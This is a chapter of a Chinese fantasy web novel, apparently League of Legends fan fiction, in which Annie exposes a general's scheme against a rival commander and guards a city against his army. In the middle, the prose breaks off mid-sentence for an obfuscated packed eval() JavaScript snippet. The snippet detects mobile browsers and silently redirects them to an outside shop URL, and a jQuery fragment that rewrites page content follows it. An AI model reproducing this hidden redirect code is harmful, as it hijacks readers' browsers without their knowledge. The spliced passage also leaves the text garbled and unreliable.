转眼间,他们已经在埃克斯这里待了三天。
三天时间,足够缇尔了解这个铁血军团,也足够让两人成为朋友。
起码没有因为立场不同带来的剑拔弩张了。
临近中午,安妮的帐篷被敲响了,还是熟悉的礼貌的旋律。
“进。”
埃克斯穿着一身银色的战甲,手上拖着巨斧,一步一个脚印。他神情尽量放松,但眉眼间的严肃掩盖不住,青筋也在手背暴起,宣示男人的不安。
“午安,我来道个别,顺便……”
“来找我商量莫格莱斯的事,对么?大军已经出发了。”
“咳……虽然我们这三天已经聊过很多次了,但我觉得还是必须亲自过来一趟,这样才显得有诚意不是吗?”
埃克斯没有丝毫掩盖意图的意思,却反倒让人觉得舒服和真诚。这大概就是语言的艺术,安妮心中腹诽。
“虽然你过来其实就已经有答案了,但我还是想问一句,真的没有办法阻止莫格莱斯了么?”
“很抱歉,没有。你也看到了,我已经拿起巨斧,做好最坏的打算。并且,这次过来,你也是知道的……”
“想让我帮你,就拿出诚意来。告诉我,你到底是没有办法阻止,还是没有想法阻止?”
“……”
“这几天,外面一直流传着消息,说莫格莱斯为了战争的胜利不惜唤醒雷电魔狼的魔性,并且选在的是无辜者最多的边界地带。另外,你这次派出大军的时间很微妙。还要我继续吗?”
“不用了!”埃克斯深深叹了口气,看了眼帐篷外。估摸着时间不多了,他只能苦笑道,“您不是已经知道了吗?是的,这一切都是我们促成的。”
“但自始至终,我们都没有给莫格莱斯出过任何主意。是他执意救治雷电魔狼,也是他把地点选在了边界。我们的人是无辜的……”
“那,那些在边界的生灵就不无辜吗?”
“所以我们希望您能出手相助,包括……援救边界的生命。”
“得了,这只是你们附加的内容,一开始,你们根本就没考虑过无辜的人吧?”
“但是战争不就是这样吗?您不能要求行军打仗还没有一点伤亡。我们的计策也许会造成一次大灾难,但这是一劳永逸的,不是吗?我相信,即使换成莫格莱斯,他也会这么做。”
“不,他没有你那么聪明。他不会想到用特殊的草药伤害雷电魔狼,激发他的魔性,也不会想到用对手的妹妹反向逼迫对手行动,促使对手自取灭亡。
不过趁人之危他应该是会的,比如在雷电魔狼发狂的时候进攻边界——只是没你这么熟练罢了。”
“承蒙夸奖。”
“所以,你是承认了?”
“为了蓝方兄弟的安全,我没有什么不可承认的。何况,这本就是我做的。”
“看吧,我就说,他比你哥哥更适合做阴谋家。”
“?”
安妮的话是朝着身后的柜子说的,而着急的埃克斯这才发现,柜子后面,似乎有个人。
他握紧巨斧,看着那个身穿战甲的金发少女缓缓走出。
缇尔。
“缇尔小姐……”
埃克斯微笑,但打招呼的话说完,却再无一言。
少女眼中满是泪水,全身激动地颤抖着,看向埃克斯的神情倔强而脆弱。模糊的世界里,大块头的埃克斯是那么清晰,他的话也清晰地萦绕在耳边,挥之不去。
“放心吧,缇尔小姐,我们一定会阻止你哥哥的。”
“为了无辜者的生命,为了世界和平,这没什么好犹豫的,缇尔小姐。”
“缇尔小姐,你用生命为我们传达消息,我们也不会辜负你的期望。”
“……”
一声声承诺,好像砸在缇尔心中。
那个人信誓旦旦的承诺,好像一座巨山,下一秒就土崩瓦解,成为灰飞,消散得无影无踪。
她不知道,在自己得到回答的那一刻,心中有多么高兴,而他们又是如何嗤笑,嗤笑她无意识上扬的嘴角。
然而这一切还不是结束——灾难的一切源头,就是她。
可笑自己跋山涉水不惜跳海,到头来求助的,却是始作俑者。
他亲手采摘了感染雷电魔狼的草药,亲自迎接了她的到来,亲口立下承诺把她耍得团团转,而自己还对这谎言感恩戴德。
哥哥……自己的一切所作所为,给他带来的只有无尽的麻烦。她是那么天真,以为发了安好的信件,就真的能让他们相信自己在这里安然无恙。
他每天要处理雷电魔狼的事情,还要担心她的安危,这何尝不是又把成功治疗的几率拉低了?
复杂的情绪在脑子里翻涌,真相在心脏里缠绕成麻,全身僵硬得好似木头,却必须面对现实。
缇尔深呼吸一口气,终于说出了面对埃克斯的第一句话。
“仪式多久开始?”
仪式?
治疗仪式吗?
埃克斯才想起来,自己是打算去搅乱仪式的,来安妮的营帐只是为了请她在雷电魔狼到这里的时候伸出援手。
这个时候也没有隐瞒的必要了,或者说隐瞒了缇尔也不会信,更或者……他不想隐瞒。
总之,埃克斯说了实话。
“下午一点。”
雷电魔狼要治疗,从阿修罗灵魂中感知到的负面情绪越少越好,环境自然也是有影响的。
因此,其实很好猜。阳光普照大地,无非是十二点到两点,十二点太早,温度还没有完全上去,两点太晚,仪式开始的时候阳光已经减弱。
缇尔看了埃克斯一眼,这次,她没有直接相信,但思考了一瞬,还是确认了这次埃克斯没有骗她。
寻常人赶到对面肯定要很久,但缇尔和埃克斯的耐力不相上下。这也是她能成为皇室天才,陪伴莫格莱斯,以及……成功逃走的重要因素。
得到消息以后,缇尔便直接冲出帐篷,朝着红方边界赶去。
埃克斯没有阻止,大概他觉得,一个人的力量是阻止不了什么的。其他参与人员已经在路上,他是仗着速度快没有跟上一起,现在也该追上去了。
安妮看着离开的两人,摸了摸怀里的提伯斯,也没有阻止。
她仿佛看到了当初被欺骗的自己,只是在知晓真相的那一刻,迎接的便是死亡,因此也没那么痛了。此时此刻,她甚至有一些想笑。
笑天真的缇尔,还是过去弱小的自己,她不知道。
帐篷外,维迦缓缓走出,他看了眼安妮,随后追寻缇尔的步伐而去。
赶到边界的时候已经十二点四十多了,当然,这是安妮推测的。
埃克斯不会踩着点来,但之前也确实耽误了不少时间。
边界驻守的士兵还不知道即将发生什么,仍旧尽职尽责地把安妮拦在外面。安妮并没有说自己是缇尔的朋友,她的目的只是留在边界外。
有时候,有些东西不适合亲眼见证,或者说,自己的存在会影响一些东西。
“我是来帮你们守城的,很快埃克斯的大军就要到了,不想城破人亡的话,就让我留在这里——放心,我不要求进去。”
安妮说完,直接坐在了城门下方的空隙里。
既然不要求进入,那就好办多了。至于安妮所说的帮忙,看守城门的小兵并没有什么表示。
厉害就让对面忌惮,不厉害就让对面多砍几刀,总之对军队而言不亏。
她后面说的话,才是重点。
“你说埃克斯要来?”
“喏,这不就是吗?”
前方出现一群乌泱泱的人,都穿着蓝色战衣。城门上的哨兵立刻拉响了警报,但没有多惊慌。
大概莫格莱斯也早就想到,埃克斯会趁机攻击。
打头阵的是拿着盾牌的士兵,后面站着的则是埃克斯。他没有骑马,拖着巨斧,即使在个个都高的军队中也鹤立鸡群。
看见已经化身成巨熊的提伯斯和其上的安妮,他高声道:“安妮小姐,如果没记错的话,之前您还答应了守护蓝方的军营吧?”
男人的语气里没有任何责怪,还带着一丝委屈,但这很正常,因为安妮的实力摆在那里。
她就带提伯斯站在城池前,便一夫当关万夫莫开。埃克斯见识过提伯斯的实力,自然不敢轻举妄动,只能打感情牌。
可惜,安妮早就看清了埃克斯的真面目。
她高声回答:“不好意思,我答应的,从来都是维持平衡。”
她每次回答埃克斯,说的都是不会让雷电魔狼影响到双方,而现在莫格莱斯明显处于弱势,那当然要帮他守住城池。
其实说起来,红蓝双方目前还真是最公平的,莫格莱斯如今驻扎的是最后一座城池,远了就只有帐篷没有建筑了。
当然,这也足以说明,皇室的力量有多大。
不过,从今天开始,一切就要重新洗牌了。
即使自己现在帮莫格莱斯守住了城池,雷电魔狼出事也一定会让他失去最得力的手下,到时候,丢盔弃甲只是早晚的事。
很明显,对面的埃克斯也想到了这一点。
他深深地看了安妮一眼,最后向身边人耳语了几句。
然后,拿起盾牌挡在身前,前进两步:“可以聊聊吗?”
他已经表现出了他的诚意,安妮当然也不会拒绝。她直接坐在提伯斯背上,和他一起跟着埃克斯去往远处。
没有树木遮挡,但远处的人应该听不见,这就够了。
埃克斯也没有犹豫,开门见山:“你想要什么?”
权力、金钱、地位、名望,这些他都可以给,但如果安妮想要,他早就看出来了。正是因为没有能够留住安妮的东西,他才三番五次找安妮谈判,请她坐镇。
也正是因为这些东西留不住安妮,她才会毫不犹豫地离开蓝方,帮助红方守城。
但是埃克斯看得出来,安妮这么做并不是为了缇尔。
如果真的把缇尔当挚友,早在发现自己阴谋的那一刻,他就被提伯斯拍死了。
那是为了什么?
埃克斯的问题其实也让安妮迷茫了。
她想要什么?
其实一开始参与这件事只是心血来潮,但后面发现有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228461|197576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机会帮助维迦了解“黑暗”更深层的含义,她便放手在幕后操纵一切。
帮助缇尔,又不完全帮助,这都只是为了维迦。
埃克斯这里?她不需要任何东西。
“既然你什么都不要,那为什么还要参与进来呢?阻止我们对你而言没有任何好处,多一个朋友总比多一个敌人好,不是么?”
埃克斯大概也看出了安妮的无欲无求,或者说她要的东西自己给不了。
于是男人换了个角度劝说。
他就像一个濒临破产的商人,极力推销着自己的产品。为了胜利不择手段,这才是真正的埃克斯,也是莫格莱斯永远比不上的地方。
这句话凯德阿姨曾经也对自己说过,但这一刻,安妮却无法苟同。她垂眸,再抬头已经满是坚定:“回去吧,我不想打架,现在不想,以后也不想。”
“那你还会来蓝方做客吗?”
“放心吧,事情结束以后,我就会离开。”
安妮说完,埃克斯肉眼可见地放松下来。她知道男人在高兴什么,自己这句话,其实是变相说明了,之后不会为莫格莱斯卖命。
没有雷电魔狼的莫格莱斯战力大减,又没有自己的帮助,收复这座城池是迟早的事。
但她不会食言:现在不打架,之后也不会打。
得到安妮的肯定回答以后,埃克斯便退了兵,他并不怀疑安妮的话,没有为什么。
埃克斯的军队离开了。
安妮带着提伯斯回去的时候,之前那个对她还爱搭不理的士兵态度已经一百八十度大反转。他激动地朝着安妮吼道:“真是太感谢你了!不费一兵一卒,就退了埃克斯的军队!”
要知道,只要打起来,就一定会有伤亡,而伤亡再小,他们都有可能是牺牲的一员。
不战而屈人之兵,从来都是上上策。
但高兴完以后,他又皱眉喊道:“你进来以后先别去城中心,听说城中心发生了混乱,说不定还会波及到我们这里呢!等事情结束,我再带你去邀功。”
看来这些小兵还不知道事情有多严重……
安妮抿唇,大喊道:“你开门吧,我要进去找我朋友。另外,如果待会儿雷电魔狼出现,你们一定要小心,他可能已经发狂了!躲在一旁,他自己会跑走,不招惹他就不会有事的!”
“啊?哦哦,好……”
小兵们并不理解完全安妮的话,但雷电魔狼受了伤需要治疗的消息他们还是知道一点的。
反正大致意思就是看见雷电魔狼别去招惹,这对他们而言还不简单吗?
城门打开,安妮被放进来后,立刻朝着小兵指引的方向赶去。虽然知道雷电魔狼没有跑出来,估计莫格莱斯的对策还是有点作用的,但安妮很清楚,雷电魔狼一定不可能再乖乖听凯勒的话。
因为……特殊的,从来都只有提伯斯啊。
“快跑,不要回头!”
“啊,救命啊!”
“发狂了,真的发狂了!”
嘈杂的街道,慌乱的人群,哭喊声席卷了整片区域,雷电所过之处一片焦土。即使这雷电没有当初灭族闪电十分之一的威力,安妮仍旧感觉到一阵揪心。
是似曾相识的绝望。
在这一刻,她忽然有些后悔,没有帮助缇尔阻止这一切。
安妮逆着人流,不断朝事发地点走去。甚至不需要询问,只要仔细观察,就能看出他们在躲避哪里。
“吼!”
雷电魔狼的咆哮终于帮助安妮确定了准确位置。再无一丝迟疑,她借助神装的腾空之力,飞过了层层拦截的士兵,很快冲到了巨兽的右方。
在那里,点点荧光正在消散。
黄色的、密集的,刹那间崩塌,就好像当初的凯德阿姨。
那悄无声息的光点里,蕴藏着生命的力量。而那生命,是如此熟悉……
抱着光点的男人身着金色铠甲,黑色的贴身皮衣勾勒出健壮的身形。头顶的皇冠熠熠生辉,祖母绿的宝石闪耀其中。
最显眼的是胸口红眼狮子的纹章,张着血盆大口,獠牙寒芒乍现。
与缇尔略有相似的五官,却是另一份坚毅从容。而此刻那仿佛能承受天地威压的男人,仰头发出一声嘶吼,仿若绝望的困兽。
安妮耳边似乎响起了缇尔的话:“我的哥哥,背负了太多东西,但他永远是世界上最纯净的人。”
手中的重量慢慢消失,安妮知道那是何种滋味。
心中的山,好像也在那一刻崩塌了。
安妮抬眸,视线与男人背后的雷电魔狼撞在一起。那双眼眸中,是安妮早有预料的复杂,她看着旁边被黑暗气息包裹的维迦,终是没有出手。
雷电魔狼大喝一声,掀翻挡路的众人,寻了个方向离开。
周围一瞬间陷入寂静。
这是安妮第一次看到莫格莱斯,但应该也是最后一次看到莫格莱斯。缇尔口中的哥哥,威武、霸气,即使那颗心已经空空如也,站起身仍旧挺直了脊背。
这就是皇室荣耀,德玛西亚永不倒下的王。
安妮握拳,最后还是悄无声息地带走了维迦。